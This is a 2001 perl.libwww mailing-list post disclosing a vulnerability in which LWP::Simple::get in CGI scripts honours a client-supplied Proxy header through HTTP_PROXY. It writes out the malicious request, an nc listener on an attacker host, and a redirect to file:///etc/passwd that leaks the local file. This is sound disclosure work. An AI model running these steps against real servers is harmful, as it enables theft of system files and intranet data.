develooper Front page | perl.libwww | Postings from January 2001

security problem with LWP::Simple::get in CGI scripts

Thread Next
From:
Jukka Suomela
Date:
January 29, 2001 12:28
Subject:
security problem with LWP::Simple::get in CGI scripts
Message ID:
1552242259.980804785@[192.168.1.10]
[I sent the following message to Gisle Aas on December 12, 2000 but I got
no reply at all. It seems that two new versions of LWP have been published
since my original email message and LWP 5.50 still has the problem
described below. I'm sorry if this is a known issue - if it is, it should
be at least documented much better.]

----

Statements like

        $foo = LWP::Simple::get('http://foo.foo.com/foo/');

seem to be quite common in simple CGI scripts (which try to e.g. fetch
stock quotes or comic strips from other web sites and display the results
re-formatted or filtered).

Imagine a simple CGI script like this (called, say, "/cgi/test") installed
on the server "www.sample.com":

        #!/usr/bin/perl -w

        use LWP::Simple;
        print "Content-type: text/html\n\n";
        print LWP::Simple::get('http://foo.foo.com/foo/');

Seems pretty harmless to most (even experienced) Perl programmers.  All the
strings are constants, nothing is fetched from the user's input.

But what if an evil user send this kind of request to www.sample.com:

        GET /cgi-bin/test HTTP/1.0
        Proxy: http://bar.bar.com:8888

The web server creates (as the CGI specification tells) an environment
variable HTTP_XYZ for each HTTP header Xyz. In this case it means that the
web server sets the environment variable "HTTP_PROXY" to
"http://bar.bar.com:8888".  (E.g. Apache works exactly this way.)

LWP::Simple uses the http_proxy environment variable with any
capitalization.  Thus the CGI script on www.sample.com forwards the HTTP
request to bar.bar.com:8888.

The evil user is, of course, running a simple daemon (e.g. "nc -l -p8888")
on "bar.bar.com".  When www.sample.com connects this daemon, the user sends
back e.g. the following response:

        HTTP/1.0 302 Foobar
        Location: file:///etc/passwd

LWP gets back the redirection and honors it.  It opens the local file now
and sends its contents to the evil user.

Thus any simple CGI script which reads anything with LWP::Simple::get and
prints the result (or some non-empty part of it) is a potential security
hole.  I even tried the exploit with taint checking enabled.  It still
worked (I guess LWP parses the proxy name with regexps and thus untaints
it).

----

While none of these problems are really LWP's fault (perldoc LWP::Simple
even says that it reads the proxy configuration from the environment
variables), I can see at least two major problems:

1) First, one should never use any environment variables beginning with
'HTTP_' (at least upper case, possibly also lower case on non-Unix
platforms) unless one really wants to read the CGI request.

2) Second, redirections to file URLs can be dangerous.

----

Even if both of these problems were fixed, there might still be some
security problems with this kind of simple scripts:

1) If HTTP_PROXY environment variable was no longer used, still the
administrator of foo.foo.com could possibly exploit the CGI script by
(temporarily) creating a redirection to file:///etc/passwd or such and then
sending a request to the CGI script.

2) If http responses could send redirections to http URLs only, there could
still be a number of potential security problems.  The web server
www.sample.com might have e.g. access to the intranet of Sample, Inc. and
thus we could send redirections to http://intra.sample.com, etc., and read
confidential information.

----

Should there be another interface like LWP::Simple which would provide a
more secure interface to the LWP?  E.g. LWP::Simple::safeget which reads no
environment variables and supports no redirections at all?

I don't know what would be the right solution.  But I'm sure that users of
LWP::Simple don't understand all the possible security holes they might be
creating in their CGI scripts.  Those security issues are, unfortunately,
far from simple.  Thus I suggest that you at least change the documentation
of LWP and/or LWP::Simple to clearly explain the most serious security
issues there might be when using LWP::Simple in a CGI script.


Best Regards,

--
 Jukka Suomela - http://www.iki.fi/suo/
 Servin-Maijan tie 10 F 83, 02150 ESPOO, FINLAND


Thread Next


nntp.perl.org: Perl Programming lists via nntp and http.
Comments to Ask Bjørn Hansen at ask@perl.org | Group listing | About